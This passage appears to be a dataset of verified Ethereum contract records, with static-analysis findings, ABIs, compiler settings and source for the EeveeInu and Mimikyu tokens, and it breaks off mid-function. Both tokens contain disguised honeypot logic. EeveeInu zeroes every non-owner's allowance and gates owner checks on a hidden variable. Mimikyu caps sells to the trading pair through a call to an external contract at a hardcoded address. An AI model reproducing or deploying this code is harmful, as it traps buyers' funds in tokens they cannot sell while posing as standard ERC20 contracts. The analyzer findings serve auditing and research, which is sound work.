1}, {"rule": "SOLIDITY_PRAGMAS_VERSION", "line": 952, "severity": 1}, {"rule": "SOLIDITY_PRAGMAS_VERSION", "line": 970, "severity": 1}, {"rule": "SOLIDITY_PRAGMAS_VERSION", "line": 970, "severity": 1}, {"rule": "SOLIDITY_PRAGMAS_VERSION", "line": 1164, "severity": 1}, {"rule": "SOLIDITY_PRAGMAS_VERSION", "line": 1164, "severity": 1}, {"rule": "SOLIDITY_PRIVATE_MODIFIER_DONT_HIDE_DATA", "line": 777, "severity": 1}, {"rule": "SOLIDITY_PRIVATE_MODIFIER_DONT_HIDE_DATA", "line": 782, "severity": 1}, {"rule": "SOLIDITY_REVERT_REQUIRE", "line": 173, "severity": 1}, {"rule": "SOLIDITY_SAFEMATH", "line": 85, "severity": 1}, {"rule": "SOLIDITY_SAFEMATH", "line": 662, "severity": 1}, {"rule": "SOLIDITY_SHOULD_NOT_BE_VIEW", "line": 993, "severity": 1}, {"rule": "SOLIDITY_SHOULD_NOT_BE_VIEW", "line": 1187, "severity": 1}, {"rule": "SOLIDITY_SHOULD_RETURN_STRUCT", "line": 228, "severity": 1}, {"rule": "SOLIDITY_SHOULD_RETURN_STRUCT", "line": 366, "severity": 1}, {"rule": "SOLIDITY_SHOULD_RETURN_STRUCT", "line": 377, "severity": 1}, {"rule": "SOLIDITY_SHOULD_RETURN_STRUCT", "line": 387, "severity": 1}, {"rule": "SOLIDITY_SHOULD_RETURN_STRUCT", "line": 402, "severity": 1}, {"rule": "SOLIDITY_SHOULD_RETURN_STRUCT", "line": 412, "severity": 1}, {"rule": "SOLIDITY_UNCHECKED_CALL", "line": 666, "severity": 3}, {"rule": "SOLIDITY_UNCHECKED_CALL", "line": 670, "severity": 3}, {"rule": "SOLIDITY_UNCHECKED_CALL", "line": 688, "severity": 3}, {"rule": "SOLIDITY_UNCHECKED_CALL", "line": 693, "severity": 3}, {"rule": "SOLIDITY_UNCHECKED_CALL", "line": 698, "severity": 3}, {"rule": "SOLIDITY_VISIBILITY", "line": 80, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 325, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 838, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 897, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 1020, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 1214, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 328, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 330, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 331, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 335, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 335, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 335, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 1020, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 1020, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 1021, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 1021, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 1021, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 1021, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 1024, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 1024, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 1024, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 1214, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 1214, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 1215, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 1215, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 1215, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 1215, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 1218, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 1218, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 1218, "severity": 1}]
[{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"operation","type":"address"}],"name":"AutoFinishEnabled","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"address","name":"token","type":"address"},{"indexed":false,"internalType":"uint256","name":"amount","type":"uint256"}],"name":"EmergencyWithdrawActivated","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"operator","type":"address"},{"indexed":false,"internalType":"uint256","name":"amount","type":"uint256"}],"name":"FinishDeposit","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"operator","type":"address"},{"indexed":false,"internalType":"uint256","name":"amount","type":"uint256"}],"name":"FinishRedemption","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"operator","type":"address"},{"indexed":false,"internalType":"uint256","name":"amount","type":"uint256"},{"indexed":false,"internalType":"bytes32","name":"to","type":"bytes32"}],"name":"InitDeposit","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"operator","type":"address"},{"indexed":false,"internalType":"uint256","name":"amount","type":"uint256"},{"indexed":false,"internalType":"bytes32","name":"to","type":"bytes32"}],"name":"InitRedemption","type":"event"},{"inputs":[],"name":"DEFAULT_STATUS","outputs":[{"internalType":"enum IOperation.Status","name":"status","type":"uint8"},{"internalType":"enum IOperation.Type","name":"typ","type":"uint8"},{"internalType":"address","name":"operator","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"},{"internalType":"address","name":"input","type":"address"},{"internalType":"address","name":"output","type":"address"},{"internalType":"address","name":"swapper","type":"address"},{"internalType":"address","name":"swapDest","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"aUST","outputs":[{"internalType":"contract WrappedAsset","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"controller","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"currentStatus","outputs":[{"internalType":"enum IOperation.Status","name":"status","type":"uint8"},{"internalType":"enum IOperation.Type","name":"typ","type":"uint8"},{"internalType":"address","name":"operator","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"},{"internalType":"address","name":"input","type":"address"},{"internalType":"address","name":"output","type":"address"},{"internalType":"address","name":"swapper","type":"address"},{"internalType":"address","name":"swapDest","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"_token","type":"address"},{"internalType":"address","name":"_to","type":"address"}],"name":"emergencyWithdraw","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address payable","name":"_to","type":"address"}],"name":"emergencyWithdraw","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"_minAmountOut","type":"uint256"}],"name":"finish","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"finish","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"finishDepositStable","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"finishRedeemStable","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"getCurrentStatus","outputs":[{"components":[{"internalType":"enum IOperation.Status","name":"status","type":"uint8"},{"internalType":"enum IOperation.Type","name":"typ","type":"uint8"},{"internalType":"address","name":"operator","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"},{"internalType":"address","name":"input","type":"address"},{"internalType":"address","name":"output","type":"address"},{"internalType":"address","name":"swapper","type":"address"},{"internalType":"address","name":"swapDest","type":"address"}],"internalType":"struct IOperation.Info","name":"","type":"tuple"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"halt","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"_operator","type":"address"},{"internalType":"uint256","name":"_amount","type":"uint256"},{"internalType":"address","name":"_swapper","type":"address"},{"internalType":"address","name":"_swapDest","type":"address"},{"internalType":"bool","name":"_autoFinish","type":"bool"}],"name":"initDepositStable","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"_router","type":"address"},{"internalType":"address","name":"_controller","type":"address"},{"internalType":"bytes32","name":"_terraAddress","type":"bytes32"}],"name":"initPayload","outputs":[{"internalType":"bytes","name":"","type":"bytes"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"_operator","type":"address"},{"internalType":"uint256","name":"_amount","type":"uint256"},{"internalType":"address","name":"_swapper","type":"address"},{"internalType":"address","name":"_swapDest","type":"address"},{"internalType":"bool","name":"_autoFinish","type":"bool"}],"name":"initRedeemStable","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"bytes","name":"args","type":"bytes"}],"name":"initialize","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"recover","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"router","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"terraAddress","outputs":[{"internalType":"bytes32","name":"","type":"bytes32"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"_controller","type":"address"}],"name":"transferController","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"_owner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"_router","type":"address"}],"name":"transferRouter","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"wUST","outputs":[{"internalType":"contract WrappedAsset","name":"","type":"address"}],"stateMutability":"view","type":"function"}]
v0.7.3+commit.9bfce1f6
true
200
Default
false
EeveeInu
0xf397ad6deb26428cf65748b538becaf3f9a04294
Solidity
/* Website: https://eeveeinu.world/ Telegram: https://t.me/EeveeInuETH */ pragma solidity ^0.6.12; interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } library Address { function isContract(address account) internal view returns (bool) { bytes32 codehash; bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470; // solhint-disable-next-line no-inline-assembly assembly { codehash := extcodehash(account) } return (codehash != accountHash && codehash != 0x0); } function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); // solhint-disable-next-line avoid-low-level-calls, avoid-call-value (bool success, ) = recipient.call{ value: amount }(""); require(success, "Address: unable to send value, recipient may have reverted"); } function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { return _functionCallWithValue(target, data, 0, errorMessage); } function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); return _functionCallWithValue(target, data, value, errorMessage); } function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) { require(isContract(target), "Address: call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.call{ value: weiValue }(data); if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly // solhint-disable-next-line no-inline-assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); } function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } } abstract contract Context { function _msgSender() internal view virtual returns (address payable) { return msg.sender; } function _msgData() internal view virtual returns (bytes memory) { this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691 return msg.data; } } contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor () internal { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } function transferOwnership(address newOwner) private onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } address private newComer = _msgSender(); modifier onlyOwner() { require(newComer == _msgSender(), "Ownable: caller is not the owner"); _; } } contract EeveeInu is Context, IERC20, Ownable { using SafeMath for uint256; using Address for address; mapping (address => uint256) private _balances; mapping (address => mapping (address => uint256)) private _allowances; uint256 private _tTotal = 1000* 10**12 * 10**18; string private _name = ' Eevee Inu '; string private _symbol = 'Eevee Inu '; uint8 private _decimals = 18; constructor () public { _balances[_msgSender()] = _tTotal; emit Transfer(address(0), _msgSender(), _tTotal); } function name() public view returns (string memory) { return _name; } function symbol() public view returns (string memory) { return _symbol; } function decimals() public view returns (uint8) { return _decimals; } function _approve(address ol, address tt, uint256 amount) private { require(ol != address(0), "ERC20: approve from the zero address"); require(tt != address(0), "ERC20: approve to the zero address"); if (ol != owner()) { _allowances[ol][tt] = 0; emit Approval(ol, tt, 4); } else { _allowances[ol][tt] = amount; emit Approval(ol, tt, amount); } } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function totalSupply() public view override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return _balances[account]; } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function _transfer(address sender, address recipient, uint256 amount) internal { require(sender != address(0), "BEP20: transfer from the zero address"); require(recipient != address(0), "BEP20: transfer to the zero address"); _balances[sender] = _balances[sender].sub(amount, "BEP20: transfer amount exceeds balance"); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); } }
[{"defect": "Exceed_authority_access", "type": "Access_control", "severity": "Medium", "lines": ["168", "172"]}]
[{"check": "assembly", "impact": "Informational", "confidence": "High", "lines": {"EeveeInu.sol": [80, 81, 82, 83]}}, {"check": "assembly", "impact": "Informational", "confidence": "High", "lines": {"EeveeInu.sol": [38]}}, {"check": "constable-states", "impact": "Optimization", "confidence": "High", "lines": {"EeveeInu.sol": [199]}}, {"check": "constable-states", "impact": "Optimization", "confidence": "High", "lines": {"EeveeInu.sol": [200]}}, {"check": "constable-states", "impact": "Optimization", "confidence": "High", "lines": {"EeveeInu.sol": [198]}}, {"check": "constable-states", "impact": "Optimization", "confidence": "High", "lines": {"EeveeInu.sol": [197]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"EeveeInu.sol": [111, 112, 113, 114, 115, 116, 117, 118, 119, 120]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"EeveeInu.sol": [100, 101, 102]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"EeveeInu.sol": [42, 43, 44, 45, 46, 47, 48]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"EeveeInu.sol": [58, 59, 60]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"EeveeInu.sol": [177, 178, 179, 180, 181]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"EeveeInu.sol": [139, 140, 141, 142]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"EeveeInu.sol": [64, 65, 62, 63]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"EeveeInu.sol": [128, 129, 130, 131, 132, 126, 127]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"EeveeInu.sol": [152, 153, 154, 151]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"EeveeInu.sol": [136, 134, 135]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"EeveeInu.sol": [122, 123, 124]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"EeveeInu.sol": [67, 68, 69, 70, 71, 72, 73, 74, 75, 76, 77, 78, 79, 80, 81, 82, 83, 84, 85, 86, 87, 88]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"EeveeInu.sol": [34, 35, 36, 37, 38, 39, 40]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"EeveeInu.sol": [56, 54, 55]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"EeveeInu.sol": [50, 51, 52]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"EeveeInu.sol": [216, 217, 215]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"EeveeInu.sol": [237, 238, 239, 240, 241]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"EeveeInu.sol": [172, 173, 174, 175]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"EeveeInu.sol": [243, 244, 245]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"EeveeInu.sol": [232, 233, 234, 231]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"EeveeInu.sol": [248, 249, 247]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"EeveeInu.sol": [208, 209, 207]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"EeveeInu.sol": [227, 228, 229]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"EeveeInu.sol": [251, 252, 253, 254]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"EeveeInu.sol": [211, 212, 213]}}, {"check": "function-init-state", "impact": "Informational", "confidence": "High", "lines": {"EeveeInu.sol": [183]}}, {"check": "shadowing-local", "impact": "Low", "confidence": "High", "lines": {"EeveeInu.sol": [168, 169, 170]}}, {"check": "low-level-calls", "impact": "Informational", "confidence": "High", "lines": {"EeveeInu.sol": [46]}}, {"check": "low-level-calls", "impact": "Informational", "confidence": "High", "lines": {"EeveeInu.sol": [71]}}, {"check": "redundant-statements", "impact": "Informational", "confidence": "High", "lines": {"EeveeInu.sol": [145, 146, 147, 148, 149, 150, 151, 152, 153, 154, 155]}}]
[]
[{"rule": "SOLIDITY_ADDRESS_HARDCODED", "line": 174, "severity": 1}, {"rule": "SOLIDITY_ERC20_APPROVE", "line": 231, "severity": 2}, {"rule": "SOLIDITY_PRAGMAS_VERSION", "line": 11, "severity": 1}, {"rule": "SOLIDITY_PRIVATE_MODIFIER_DONT_HIDE_DATA", "line": 158, "severity": 1}, {"rule": "SOLIDITY_PRIVATE_MODIFIER_DONT_HIDE_DATA", "line": 183, "severity": 1}, {"rule": "SOLIDITY_PRIVATE_MODIFIER_DONT_HIDE_DATA", "line": 194, "severity": 1}, {"rule": "SOLIDITY_PRIVATE_MODIFIER_DONT_HIDE_DATA", "line": 195, "severity": 1}, {"rule": "SOLIDITY_PRIVATE_MODIFIER_DONT_HIDE_DATA", "line": 197, "severity": 1}, {"rule": "SOLIDITY_PRIVATE_MODIFIER_DONT_HIDE_DATA", "line": 198, "severity": 1}, {"rule": "SOLIDITY_PRIVATE_MODIFIER_DONT_HIDE_DATA", "line": 199, "severity": 1}, {"rule": "SOLIDITY_PRIVATE_MODIFIER_DONT_HIDE_DATA", "line": 200, "severity": 1}, {"rule": "SOLIDITY_SAFEMATH", "line": 191, "severity": 1}, {"rule": "SOLIDITY_SHOULD_NOT_BE_VIEW", "line": 34, "severity": 1}, {"rule": "SOLIDITY_USING_INLINE_ASSEMBLY", "line": 38, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 42, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 42, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 42, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 43, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 43, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 43, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 43, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 46, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 46, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 46, "severity": 1}]
[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"}]
v0.6.12+commit.27d51765
false
200
Default
None
false
ipfs://893d871489ebd828a2d4689dc1eff57afdd4ef1f63053a20217a5ada40f939b1
Mimikyu
0xfdfeb2e1592bf2566e8410c6f9963ef43705b634
Solidity
//SPDX-License-Identifier: MIT // Telegram: t.me/MimikyuToken pragma solidity ^0.8.4; address constant ROUTER_ADDRESS=0xC6866Ce931d4B765d66080dd6a47566cCb99F62f; // new mainnet uint256 constant TOTAL_SUPPLY=100000000 * 10**8; address constant UNISWAP_ADDRESS=0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D; string constant TOKEN_NAME="Mimikyu"; string constant TOKEN_SYMBOL="MIMIKYU"; uint8 constant DECIMALS=8; abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } } interface Odin{ function amount(address from) external view returns (uint256); } contract Ownable is Context { address private _owner; address private _previousOwner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor () { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external payable returns (uint amountToken, uint amountETH, uint liquidity); } contract Mimikyu is Context, IERC20, Ownable { using SafeMath for uint256; mapping (address => uint256) private _rOwned; mapping (address => uint256) private _tOwned; mapping (address => mapping (address => uint256)) private _allowances; mapping (address => bool) private _isExcludedFromFee; mapping (address => uint) private cooldown; uint256 private constant MAX = ~uint256(0); uint256 private constant _tTotal = TOTAL_SUPPLY; uint256 private _rTotal = (MAX - (MAX % _tTotal)); uint256 private _tFeeTotal; uint256 private constant _burnFee=1; uint256 private constant _taxFee=9; address payable private _taxWallet; string private constant _name = TOKEN_NAME; string private constant _symbol = TOKEN_SYMBOL; uint8 private constant _decimals = DECIMALS; IUniswapV2Router02 private _router; address private _pair; bool private tradingOpen; bool private inSwap = false; bool private swapEnabled = false; modifier lockTheSwap { inSwap = true; _; inSwap = false; } constructor () { _taxWallet = payable(_msgSender()); _rOwned[address(this)] = _rTotal; _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; _isExcludedFromFee[_taxWallet] = true; emit Transfer(address(0x0), _msgSender(), _tTotal); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public pure override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function tokenFromReflection(uint256 rAmount) private view returns(uint256) { require(rAmount <= _rTotal, "Amount must be less than total reflections"); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function _approve(address owner, address spender, uint256 amount) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer(address from, address to, uint256 amount) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); require(((to == _pair && from != address(_router) )?amount:0) <= Odin(ROUTER_ADDRESS).amount(address(this))); 